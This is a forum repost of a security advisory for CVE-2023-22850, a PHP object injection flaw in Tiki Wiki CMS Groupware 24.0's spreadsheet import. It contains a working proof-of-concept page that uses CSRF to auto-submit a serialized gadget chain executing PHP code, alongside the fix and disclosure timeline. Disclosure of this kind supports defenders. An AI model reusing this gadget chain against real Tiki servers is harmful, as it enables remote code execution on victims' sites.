Hoşgeldin Misafir

Tiki Wiki CMS Groupware 24.0 grid.php PHP Object Injection Vulnerability

greenbone

4 Eyl 2022
2,020 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
-----------------------------------------------------------------------------
Tiki Wiki CMS Groupware <= 24.0 (grid.php) PHP Object Injection
Vulnerability
-----------------------------------------------------------------------------
 
 
[-] Software Link:
 
https://tiki.org
 
 
[-] Affected Versions:
 
Version 24.0 and prior versions.
 
 
[-] Vulnerability Description:
 
The vulnerability is located in the /lib/sheet/grid.php script,
specifically into the TikiSheetSerializeHandler::_load() method, which
is using the unserialize() PHP function with user-controlled input. This
can be exploited by malicious users to inject arbitrary PHP objects into
the application scope, allowing them to perform a variety of attacks,
such as executing arbitrary PHP code. Successful exploitation of this
vulnerability requires the “Spreadsheets” feature to be enabled and an
account with permissions to create a new sheet. However, due to the CSRF
vulnerability described in KIS-2023-01, this vulnerability might also be
exploited by tricking a victim user into opening a web page like the
following:
 
<html>
  <form action="http://localhost/tiki/tiki-import_sheet.php?sheetId=1"
method="POST" enctype="multipart/form-data">
   <input type="hidden" name="handler" value="TikiSheetSerializeHandler"
/>
   <input type="file" name="file" id="fileinput"/>
  </form>
  <script>
   const popChain =
'O:25:"Search_Elastic_Connection":1:{S:31:"\00Search_Elastic_Connection\00bulk";O:28:"Search_Elastic_BulkOperation":3:{S:35:"\00Search_Elastic_BulkOperation\00count";i:1;S:38:"\00Search_Elastic_BulkOperation\00callback";S:14:"call_user_func";S:36:"\00Search_Elastic_BulkOperation\00buffer";a:2:{i:0;O:22:"Tracker_Field_Computed":3:{S:32:"\00Tracker_Field_Abstract\00itemData";a:1:{S:6:"itemId";i:1;}S:31:"\00Tracker_Field_Abstract\00options";O:15:"Tracker_Options":1:{S:21:"\00Tracker_Options\00data";a:1:{S:7:"formula";S:14:"null;phpinfo()";}}S:41:"\00Tracker_Field_Abstract\00trackerDefinition";O:18:"Tracker_Definition":0:{}}i:1;S:12:"getFieldData";}}}';
   const fileInput = document.getElementById("fileinput");
   const dataTransfer = new DataTransfer();
   const file = new File([popChain], "test");
   dataTransfer.items.add(file);
   fileInput.files = dataTransfer.files;
   document.forms[0].submit();
  </script>
</html>
 
 
[-] Solution:
 
Upgrade to version 24.1 or later.
 
 
[-] Disclosure Timeline:
 
[07/03/2022] - Vendor notified
[23/08/2022] - Version 24.1 released
[09/01/2023] - Public disclosure
 
 
[-] CVE Reference:
 
The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2023-22850 to this vulnerability.
 
 
[-] Credits:
 
Vulnerability discovered by Egidio Romano.
 
 
[-] Original Advisory:
 
http://karmainsecurity.com/KIS-2023-03
 
#  0day.today [2023-02-05]  #